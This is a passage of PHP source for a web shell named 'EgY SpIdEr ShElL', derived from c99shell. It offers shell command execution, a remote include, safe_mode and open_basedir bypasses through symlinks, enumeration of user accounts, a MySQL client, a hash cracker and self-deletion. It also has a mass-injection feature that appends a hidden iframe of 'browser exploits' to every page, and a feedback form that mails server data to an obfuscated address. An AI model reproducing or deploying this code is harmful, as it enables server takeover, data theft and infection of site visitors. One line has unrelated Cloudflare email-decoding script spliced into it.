 798                                         echo "" . htmlspecialchars($tekst) . "";
 799                                         unlink($temp);
 800                                         echo "</textarea></CENTER>";
 801                                     }
 802                                 break;
 803                                 case 'ini_restore':
 804                                     if (empty($_POST['ini_restore'])) {
 805                                     } else {
 806                                         $ini = $_POST['ini_restore'];
 807                                         echo ini_get("safe_mode");
 808                                         echo ini_get("open_basedir");
 809                                         require_once ("$ini");
 810                                         ini_restore("safe_mode");
 811                                         ini_restore("open_basedir");
 812                                         echo ini_get("safe_mode");
 813                                         echo ini_get("open_basedir");
 814                                         include ($_GET["egy"]);
 815                                         echo "</textarea></CENTER>";
 816                                     }
 817                                 break;
 818                                 case 'glob':
 819                                     function reg_glob() {
 820                                         $chemin = $_REQUEST['glob'];
 821                                         $files = glob("$chemin*");
 822                                         foreach ($files as $filename) {
 823                                             echo "$filename\n";
 824                                         }
 825                                     }
 826                                     if (isset($_REQUEST['glob'])) {
 827                                         reg_glob();
 828                                     }
 829                                 break;
 830                                 case 'sym1':
 831                                     if (empty($_POST['sym1p'])) {
 832                                     } else {
 833                                         $symp = $_POST['sym1p'];
 834                                     }
 835                                     if (empty($_POST['sym1p2'])) {
 836                                     } else {
 837                                         $symp2 = $_POST['sym1p2'];
 838                                         symlink("a/a/a/a/a/a/", "dummy");
 839                                         symlink("dummy" . $symp2 . "" . $symp . "", "xxx");
 840                                         unlink("dummy");
 841                                         while (1) {
 842                                             symlink(".", "dummy");
 843                                         }
 844                                     }
 845                                 break;
 846                                 case 'sym2':
 847                                     @include (xxx);
 848                                 break;
 849                                 case 'plugin':
 850                                     if ($_POST['plugin']) {
 851                                         for ($uid = 0;$uid < 60000;$uid++) {
 852                                             $ara = posix_getpwuid($uid);
 853                                             if (!empty($ara)) {
 854                                                 while (list($key, $val) = each($ara)) {
 855                                                     print "$val:";
 856                                                 }
 857                                                 print "\n";
 858                                             }
 859                                         }
 860                                         echo "</textarea>";
 861                                     }
 862                             }
 863                         }
 864                     }
 865                     if (isset($_POST['cmd']) && $_POST['cmd'] == "download_file" && !empty($_POST['d_name'])) {
 866                         if ($file = moreread($_POST['d_name'])) {
 867                             $filedump = $file;
 868                         } else if ($file = readzlib($_POST['d_name'])) {
 869                             $filedump = $file;
 870                         } else {
 871                             err(1, $_POST['d_name']);
 872                             $_POST['cmd'] = "";
 873                         }
 874                         if (!empty($_POST['cmd'])) {
 875                             @ob_clean();
 876                             $filename = @basename($_POST['d_name']);
 877                             $content_encoding = $mime_type = '';
 878                             compress($filename, $filedump, $_POST['compress']);
 879                             if (!empty($content_encoding)) {
 880                                 header('Content-Encoding: ' . $content_encoding);
 881                             }
 882                             header("Content-type: " . $mime_type);
 883                             header("Content-disposition: attachment; filename=\"" . $filename . "\";");
 884                             echo $filedump;
 885                             exit();
 886                         }
 887                     }
 888                     if (isset($_GET['1'])) {
 889                         echo @phpinfo();
 890                         echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='" . $_SERVER['PHP_SELF'] . "'>BACK</a> ]</b></font></div>";
 891                         die();
 892                     }
 893                     if (isset($_POST['cmd']) && $_POST['cmd'] == "db_query") {
 894                         echo $head;
 895                         $sql = new my_sql();
 896                         $sql->db = $_POST['db'];
 897                         $sql->host = $_POST['db_server'];
 898                         $sql->port = $_POST['db_port'];
 899                         $sql->user = $_POST['mysql_l'];
 900                         $sql->pass = $_POST['mysql_p'];
 901                         $sql->base = $_POST['mysql_db'];
 902                         $querys = @explode(';', $_POST['db_query']);
 903                         echo '<body bgcolor=#e4e0d8>';
 904                         if (!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
 905                         else {
 906                             if (!empty($sql->base) && !$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
 907                             else {
 908                                 foreach ($querys as $num => $query) {
 909                                     if (strlen($query) > 5) {
 910                                         echo "<font face=Verdana size=-2 color=green><b>Query#" . $num . " : " . htmlspecialchars($query, ENT_QUOTES) . "</b></font><br>";
 911                                         switch ($sql->query($query)) {
 912                                             case '0':
 913                                                 echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>" . $sql->error . "</b></font></td></tr></table>";
 914                                             break;
 915                                             case '1':
 916                                                 if ($sql->get_result()) {
 917                                                     echo "<table width=100%>";
 918                                                     foreach ($sql->columns as $k => $v) $sql->columns[$k] = htmlspecialchars($v, ENT_QUOTES);
 919                                                     $keys = @implode("&nbsp;</b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;", $sql->columns);
 920                                                     echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;" . $keys . "&nbsp;</b></font></td></tr>";
 921                                                     for ($i = 0;$i < $sql->num_rows;$i++) {
 922                                                         foreach ($sql->rows[$i] as $k => $v) $sql->rows[$i][$k] = htmlspecialchars($v, ENT_QUOTES);
 923                                                         $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;", $sql->rows[$i]);
 924                                                         echo '<tr><td><font face=Verdana size=-2>&nbsp;' . $values . '&nbsp;</font></td></tr>';
 925                                                     }
 926                                                     echo "</table>";
 927                                                 }
 928                                                 break;
 929                                             case '2':
 930                                                 $ar = $sql->affected_rows() ? ($sql->affected_rows()) : ('0');
 931                                                 echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>" . $ar . "</b></font></td></tr></table><br>";
 932                                                 break;
 933                                             }
 934                                         }
 935                                 }
 936                             }
 937                         }
 938                         echo "<br><form name=form method=POST>";
 939                         echo in('hidden', 'db', 0, $_POST['db']);
 940                         echo in('hidden', 'db_server', 0, $_POST['db_server']);
 941                         echo in('hidden', 'db_port', 0, $_POST['db_port']);
 942                         echo in('hidden', 'mysql_l', 0, $_POST['mysql_l']);
 943                         echo in('hidden', 'mysql_p', 0, $_POST['mysql_p']);
 944                         echo in('hidden', 'mysql_db', 0, $_POST['mysql_db']);
 945                         echo in('hidden', 'cmd', 0, 'db_query');
 946                         echo "<div align=center>";
 947                         echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"" . $sql->base . "\"></font><br>";
 948                         echo "<textarea cols=65 rows=10 name=db_query>" . (!empty($_POST['db_query']) ? ($_POST['db_query']) : ("SHOW DATABASES;\nSELECT * FROM user;")) . "</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
 949                         echo "</form>";
 950                         echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='" . $_SERVER['PHP_SELF'] . "'>BACK</a> ]</b></font></div>";
 951                         die();
 952                     }
 953                     if (isset($_GET['12'])) {
 954                         @unlink(__FILE__);
 955                     }
 956                     if (isset($_GET['11'])) {
 957                         @unlink($tempdir . 'bdpl');
 958                         @unlink($tempdir . 'back');
 959                         @unlink($tempdir . 'bd');
 960                         @unlink($tempdir . 'bd.c');
 961                         @unlink($tempdir . 'dp');
 962                         @unlink($tempdir . 'dpc');
 963                         @unlink($tempdir . 'dpc.c');
 964                         @unlink($tempdir . 'prxpl');
 965                         @unlink($tempdir . 'grep.txt');
 966                     }
 967                     if (isset($_GET['2'])) {
 968                         echo $head;
 969                         function U_value($value) {
 970                             if ($value == '') return '<i>no value</i>';
 971                             if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
 972                             if ($value === null) return 'NULL';
 973                             if (@is_object($value)) $value = (array)$value;
 974                             if (@is_array($value)) {
 975                                 @ob_start();
 976                                 print_r($value);
 977                                 $value = @ob_get_contents();
 978                                 @ob_end_clean();
 979                             }
 980                             return U_wordwrap((string)$value);
 981                         }
 982                         function U_wordwrap($str) {
 983                             $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
 984                             return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
 985                         }
 986                         if (@function_exists('ini_get_all')) {
 987                             $r = '';
 988                             echo '<table width=100%>', '<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
 989                             foreach (@ini_get_all() as $key => $value) {
 990                                 $r.= '<tr><td>' . ws(3) . '<font face=Verdana size=-2><b>' . $key . '</b></font></td><td><font face=Verdana size=-2><div align=center><b>' . U_value($value['local_value']) . '</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>' . U_value($value['global_value']) . '</b></div></font></td></tr>';
 991                             }
 992                             echo $r;
 993                             echo '</table>';
 994                         }
 995                         echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='" . $_SERVER['PHP_SELF'] . "'>BACK</a> ]</b></font></div>";
 996                         die();
 997                     }
 998                     if (isset($_GET['3'])) {
 999                         echo $head;
1000                         echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
1001                         $cpuf = @file("cpuinfo");
1002                         if ($cpuf) {
1003                             $c = @sizeof($cpuf);
1004                             for ($i = 0;$i < $c;$i++) {
1005                                 $info = @explode(":", $cpuf[$i]);
1006                                 if ($info[1] == "") {
1007                                     $info[1] = "---";
1008                                 }
1009                                 $r.= '<tr><td>' . ws(3) . '<font face=Verdana size=-2><b>' . trim($info[0]) . '</b></font></td><td><font face=Verdana size=-2><div align=center><b>' . trim($info[1]) . '</b></div></font></td></tr>';
1010                             }
1011                             echo $r;
1012                         } else {
1013                             echo '<tr><td>' . ws(3) . '<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
1014                         }
1015                         echo '</table>';
1016                         echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='" . $_SERVER['PHP_SELF'] . "'>BACK</a> ]</b></font></div>";
1017                         die();
1018                     }
1019                     if (isset($_GET['4'])) {
1020                         echo $head;
1021                         echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
1022                         $memf = @file("meminfo");
1023                         if ($memf) {
1024                             $c = sizeof($memf);
1025                             for ($i = 0;$i < $c;$i++) {
1026                                 $info = explode(":", $memf[$i]);
1027                                 if ($info[1] == "") {
1028                                     $info[1] = "---";
1029                                 }
1030                                 $r.= '<tr><td>' . ws(3) . '<font face=Verdana size=-2><b>' . trim($info[0]) . '</b></font></td><td><font face=Verdana size=-2><div align=center><b>' . trim($info[1]) . '</b></div></font></td></tr>';
1031                             }
1032                             echo $r;
1033                         } else {
1034                             echo '<tr><td>' . ws(3) . '<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
1035                         }
1036                         echo '</table>';
1037                         echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='" . $_SERVER['PHP_SELF'] . "'>BACK</a> ]</b></font></div>";
1038                         die();
1039                     }
1040                     if (isset($_GET['tool'])) {
1041                         echo @phpinfo();
1042                         echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='" . $_SERVER['PHP_SELF'] . "'>BACK</a> ]</b></font></div>";
1043                         die();
1044                     }
1045                     if (isset($_GET['tools'])) { ?>
1046 <html> 
1047 <head><title>EgY SpIdEr ShElL</title></head>
1048 <STYLE>
1049 
1050 BODY
1051  {
1052         SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
1053 }
1054 
1055 table {
1056 BORDER:  #eeeeee  outset;
1057 BACKGROUND-COLOR: #000000;
1058 color: #dadada;
1059 }
1060 input {
1061 BORDER-RIGHT:  #00FF00 1 solid;
1062 BORDER-TOP:    #00FF00 1 solid;
1063 BORDER-LEFT:  #00FF00 1 solid;
1064 BORDER-BOTTOM: #00FF00 1 solid;
1065 BACKGROUND-COLOR: #333333;
1066 font: 9pt tahoma;
1067 color: #ffffff;
1068 }
1069 
1070 submit {
1071 BORDER:  buttonhighlight 1 outset;
1072 BACKGROUND-COLOR: #272727;
1073 width: 40%;
1074 color: #dadada;
1075 }
1076 textarea {
1077 BORDER-RIGHT:  #ffffff 1 solid;
1078 BORDER-TOP:    #999999 1 solid;
1079 BORDER-LEFT:   #999999 1 solid;
1080 BORDER-BOTTOM: #ffffff 1 solid;
1081 BACKGROUND-COLOR: #333333;
1082 font: Fixedsys bold;
1083 color: #ffffff;
1084 }
1085 BODY {
1086 margin: 1;
1087 color: #dadada;
1088 background-color: #000000;
1089 }
1090 A:link {COLOR:red; TEXT-DECORATION: none}
1091 A:visited { COLOR:red; TEXT-DECORATION: none}
1092 A:active {COLOR:red; TEXT-DECORATION: none}
1093 A:hover {color:blue;TEXT-DECORATION: none}
1094 
1095 </STYLE>
1096 </body> 
1097 </html> 
1098 <? $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); $sf="<form method=post>";$ef="</form>"; $st="<table style=\"border:1px #dadada solid \" width=100% height=100%>"; $et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">"; $c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>"; $sta="<textarea cols=157 rows=23>";$eta="</textarea>"; $sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>"; error_reporting(0); set_magic_quotes_runtime(0); if(version_compare(phpversion(), '4.1.0') == -1) {$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"]; if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);} elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;} else{return $requ."?".$link."=".$val;}} function delm($delmtxt){print"<center><table bgcolor=black style='border:1px solid olive' width=99% height=2%>";print"<tr><td><b><center><font size=2 color=olive>$delmtxt</td></tr></table></center>";} function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd); $nscmd=htmlspecialchars($scmd);print $nscmd;} elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd); $ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;} elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r"); while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));; print $res;}pclose($pcmd);}elseif(!function_exists(popen)){ ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){ ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean(); print htmlspecialchars($pret);}} function input($type,$name,$value,$size) {if (empty($value)){print "<input type=$type name=$name size=$size>";} elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";} elseif(empty($size)){print "<input type=$type name=$name value=$value >";} else {print "<input type=$type name=$name value=$value size=$size >";}} function permcol($path){if (is_writable($path)){print "<font color=olive>"; callperms($path); print "</font>";} elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red>"; callperms($path); print "</font>";} else {print "<font color=white>";callperms($path);}} if ($dlink=="dwld"){download($_REQUEST['dwld']);} function download($dwfile) {$size = filesize($dwfile); @header("Content-Type: application/force-download;name=$dwfile"); @header("Content-Transfer-Encoding: binary"); @header("Content-Length: $size"); @header("Content-Disposition: attachment; filename=$dwfile"); @header("Expires: 0"); @header("Cache-Control: no-cache, must-revalidate"); @header("Pragma: no-cache"); @readfile($dwfile); exit;} ?>
1099 <? $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); $sf="<form method=post>";$ef="</form>"; $st="<table style=\"border:1px #dadada solid \" width=100% height=100%>"; $et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">"; $c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>"; $sta="<textarea cols=157 rows=23>";$eta="</textarea>"; $sfnt="<font face=tahoma size=2 color=olive>";$efnt="</font>"; print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<b><center><font face=tahoma color=white size=4>
1100 </font></b></center>"; print"</td></tr>";print"</table>";print "<br>"; print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>";print ""; if ($act == 'encoder') { echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; foreach(array("md5","crypt","sha1","crc32") as $v) { echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; } echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> 
1101  <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> 
1102  <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; echo "<center>base64_decode - "; if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} else { $debase64 = base64_decode($encoder_input); $debase64 = str_replace("&#92;&#48;","[0]",$debase64); $a = explode("\r\n",$debase64); $rows = count($a); $debase64 = htmlspecialchars($debase64); if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; } echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; $c = strlen($encoder_input); for($i=0;$i<$c;$i++) { $hex = dechex(ord($encoder_input[$i])); if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} } echo "\" readonly><br></form>"; ?>
1103 </center>
1104 <br><br>
1105 <table border=0 align=center cellpadding=4>
1106 <tr><td>
1107 <center><b>Search milw0rm for MD5 hash</b></center>
1108 </td><td>
1109 <center><b>Search md5encryption.com for MD5 or SHA1 hash</b></center>
1110 </td><td>
1111 <center><b>Search CsTeam for MD5 hash</b></center>
1112 </td></tr>
1113 <tr><td>
1114 <center>
1115 <form target="_blank" action="http://www.milw0rm.com/cracker/search.php" method=POST>
1116 <input type=text size=40 name=hash> <input type=submit value="Submit"></form>
1117 </center>
1118 </td><td>
1119 <center>
1120 <form target="_blank" action="http://www.md5encryption.com/?mod=decrypt" method=POST>
1121 <input type=text size=40 name=hash2word> <input type=submit value="Submit"></form>
1122 </center>
1123 </td><td>
1124 <center>
1125 <form target="_blank" action="http://www.csthis.com/md5/index.php" method=POST>
1126 <input type=text size=40 name=h> <input type=submit value="Submit"></form>
1127 </center>
1128 </td></tr>
1129 </table>
1130 <br>
1131 <center>
1132 <?php
1133                         if (isset($_GET['hash']) && isset($_GET['wordlist']) && ($_GET['type'] == 'md5' || $_GET['type'] == 'sha1')) {
1134                             $type = $_GET['type'];
1135                             $hash = $_GET['hash'];
1136                             $count = 1;
1137                             $wordlist = file($_GET['wordlist']);
1138                             $words = count($wordlist);
1139                             foreach ($wordlist as $word) {
1140                                 echo $count . ' of ' . $words . ': ' . $word . '<br>';
1141                                 if ($hash == $type(rtrim($word))) {
1142                                     echo '<font color=red>Great success!  The password is: ' . $word . '</font><br>';
1143                                     exit;
1144                                 }
1145                                 ++$count;
1146                             }
1147                         }
1148                     }
1149                     if ($act == 'fsbuff') {
1150                         $arr_copy = $sess_data["copy"];
1151                         $arr_cut = $sess_data["cut"];
1152                         $arr = array_merge($arr_copy, $arr_cut);
1153                         if (count($arr) == 0) {
1154                             echo "<center><b>Buffer is empty!</b></center>";
1155                         } else {
1156                             echo "<b>File-System buffer</b><br><br>";
1157                             $ls_arr = $arr;
1158                             $disp_fullpath = TRUE;
1159                             $act = "ls";
1160                         }
1161                     }
1162                     if ($act == "selfremove") {
1163                         if (($submit == $rndcode) and ($submit != "")) {
1164                             if (unlink(__FILE__)) {
1165                                 @ob_clean();
1166                                 echo "Thanks for using c99shell v." . $shver . "!";
1167                                 c99shexit();
1168                             } else {
1169                                 echo "<center><b>Can't delete " . __FILE__ . "!</b></center>";
1170                             }
1171                         } else {
1172                             if (!empty($rndcode)) {
1173                                 echo "<b>Error: incorrect confimation!</b>";
1174                             }
1175                             $rnd = rand(0, 9) . rand(0, 9) . rand(0, 9);
1176                             echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=selfremove><b>Self-remove: " . __FILE__ . " <br><b>Are you sure?<br>For confirmation, enter \"" . $rnd . "\"</b>:&nbsp;<input type=hidden name=rndcode value=\"" . $rnd . "\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
1177                         }
1178                     }
1179                     if ($act == "update") {
1180                         $ret = c99sh_getupdate(!!$confirmupdate);
1181                         echo "<b>" . $ret . "</b>";
1182                         if (stristr($ret, "new version")) {
1183                             echo "<br><br><input type=button onclick=\"location.href='" . $surl . "act=update&confirmupdate=1';\" value=\"Update now\">";
1184                         }
1185                     }
1186                     if ($act == "feedback") {
1187                         $suppmail = base64_decode("ZWd5X3NwaWRlckBob3RtYWlsLmNvbQ==");
1188                         if (!empty($submit)) {
1189                             $ticket = substr(md5(microtime() + rand(1, 1000)), 0, 6);
1190                             $body = "egy_spider v." . $shver . " feedback #" . $ticket . "\nName: " . htmlspecialchars($fdbk_name) . "\nE-mail: " . htmlspecialchars($fdbk_email) . "\nMessage:\n" . htmlspecialchars($fdbk_body) . "\nE-server: " . htmlspecialchars($_SERVER['REQUEST_URI']) . "\nE-server2: " . htmlspecialchars($_SERVER["SERVER_NAME"]) . "\n\nIP: " . $REMOTE_ADDR;
1191                             if (!empty($fdbk_ref)) {
1192                                 $tmp = @ob_get_contents();
1193                                 ob_clean();
1194                                 phpinfo();
1195                                 $phpinfo = base64_encode(ob_get_contents());
1196                                 ob_clean();
1197                                 echo $tmp;
1198                                 $body.= "\ni" . "phpinfo(): " . $phpinfo . "\n" . "\$GLOBALS=" . base64_encode(serialize($GLOBALS)) . "\n";
1199                             }
1200                             mail($suppmail, "egy_spider v." . $shver . " feedback #" . $ticket, $body, "FROM: " . $suppmail);
1201                             echo "<center><b>Thanks for your feedback! Your ticket ID: " . $ticket . ".</b></center>";
1202                         } else {
1203                             echo "<form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (" . str_replace(array("@", "."), array("[at]", "[dot]"), $suppmail) . "):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"" . htmlspecialchars($fdbk_name) . "\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"" . htmlspecialchars($fdbk_email) . "\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>" . htmlspecialchars($fdbk_body) . "</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"" . urlencode($HTTP_REFERER) . "\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>If you want to send a request for any help I know I will respond to you in case <br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: Arbic, English.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";
1204                         }
1205                     }
1206                     if ($act == 'massbrowsersploit') { ?>
1207 <b>Mass Code Injection:</b><br><br>
1208 Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br>
1209 <form action="<?php echo $surl; ?>" method=GET>
1210 <input type=hidden name="masssploit" value="goahead">
1211 <input type=hidden name="act" value="massbrowsersploit">
1212 <table border=0>
1213 <tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
1214 <tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.egyspider.eu" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr>
1215 <tr><td><input type=submit value="Inject Code"></td></tr>
1216 </table>
1217 </form>
1218 <?php
1219                         if ($_GET['masssploit'] == 'goahead') {
1220                             if (is_dir($_GET['pathtomass'])) {
1221                                 $lolinject = $_GET['injectthis'];
1222                                 foreach (glob($_GET['pathtomass'] . "/*.php") as $injectj00) {
1223                                     $fp = fopen($injectj00, "a+");
1224                                     if (fputs($fp, $lolinject)) {
1225                                         echo $injectj00 . ' was injected<br>';
1226                                     } else {
1227                                         echo '<font color=red>failed to inject ' . $injectj00 . '</font>';
1228                                     }
1229                                 }
1230                                 foreach (glob($_GET['pathtomass'] . "/*.htm") as $injectj00) {
1231                                     $fp = fopen($injectj00, "a+");
1232                                     if (fputs($fp, $lolinject)) {
1233                                         echo $injectj00 . ' was injected<br>';
1234                                     } else {
1235                                         echo '<font color=red>failed to inject ' . $injectj00 . '</font>';
1236                                     }
1237                                 }
1238                                 foreach (glob($_GET['pathtomass'] . "/*.html") as $injectj00) {
1239                                     $fp = fopen($injectj00, "a+");
1240                                     if (fputs($fp, $lolinject)) {
1241                                         echo $injectj00 . ' was injected<br>';
1242                                     } else {
1243                                         echo '<font color=red>failed to inject ' . $injectj00 . '</font>';
1244                                     }
1245                                 }
1246                             } else {
1247                                 echo '<b><font color=red>' . $_GET['pathtomass'] . ' is not available!</font></b>';
1248                             }
1249                         }
1250                     }
1251                     if ($dlink == 'showsrc') {
1252                         print "<p><b>: Choose a php file to view in a color mode, any extension else will appears as usual :";
1253                         print "<form method=get>";
1254                         input("text", "tools&dlink=showsrc", "", 35);
1255                         print " ";
1256                         input("hidden", "scdir", $scdir, 22);
1257                         input("submit", "tools&dlink=showsrc", "Show-src", "");
1258                         print $ef;
1259                         die();
1260                     }
1261                     if (isset($_REQUEST['tools&dlink=showsrc'])) {
1262                         callshsrc(trim($_REQUEST['showsc']));
1263                     }
1264                     if (isset($_REQUEST['indx']) && !empty($_REQUEST['indxtxt'])) {
1265                         if (touch($_REQUEST['indx']) == true) {
1266                             $fp = fopen($_REQUEST['indx'], "w+");
1267                             fwrite($fp, stripslashes($_REQUEST['indxtxt']));
1268                             fclose($fp);
1269                             print "<p>[ $sfnt" . $_REQUEST['indx'] . "$efnt created successfully !! ]</p>";
1270                             print "<b><center>[ <a href='javascript:history.back()'>Edit again</a>
1271 ] -- [<a href=" . inclink('dlink', 'scurrdir') . "&scdir=$nscdir> Curr-Dir </a>]</center></b>";
1272                             die();
1273                         } else {
1274                             print "<p>[ Sorry, Can't create the index !! ]</p>";
1275                             die();
1276                         }
1277                     }
1278                     if ($dlink == 'qindx' && !isset($_REQUEST['qindsub'])) {
1279                         print $sf . "<br>";
1280                         print "<p><textarea cols=50 rows=10 name=indxtxt>
1281 Your index contents here</textarea></p>";
1282                         input("text", "indx", "Index-name", 35);
1283                         print " ";
1284                         input("submit", "qindsub", "Create", "");
1285                         print $ef;
1286                         die();
1287                     }
1288                     if (isset($_REQUEST['mailsub']) && !empty($_REQUEST['mailto'])) {
1289                         $mailto = $_REQUEST['mailto'];
1290                         $subj = $_REQUEST['subj'];
1291                         $mailtxt = $_REQUEST['mailtxt'];
1292                         if (mail($mailto, $subj, $mailtxt)) {
1293                             print "<p>[ Mail sended to $sfnt" . $mailto . " $efnt successfully ]</p>";
1294                             die();
1295                         } else {
1296                             print "<p>[ Error, Can't send the mail ]</p>";
1297                             die();
1298                         }
1299                     } elseif (isset($mailsub) && empty($mailto)) {
1300                         print "<p>[ Error, Can't send the mail ]</p>";
1301                         die();
1302                     }
1303                     if ($dlink == 'mail' && !isset($_REQUEST['mailsub'])) {
1304                         print $sf . "<br>";
1305                         print "<p><textarea cols=50 rows=10 name=mailtxt>
1306 Your message here</textarea></p>";
1307                         input("text", "mailto", "example@mail.com
1308 /* <![CDATA[ */
1309 (function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute('data-cfemail');if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
1310 /* ]]> */
1311 ", 35);
1312                         print " ";
1313                         input("text", "subj", "Title-here", 20);
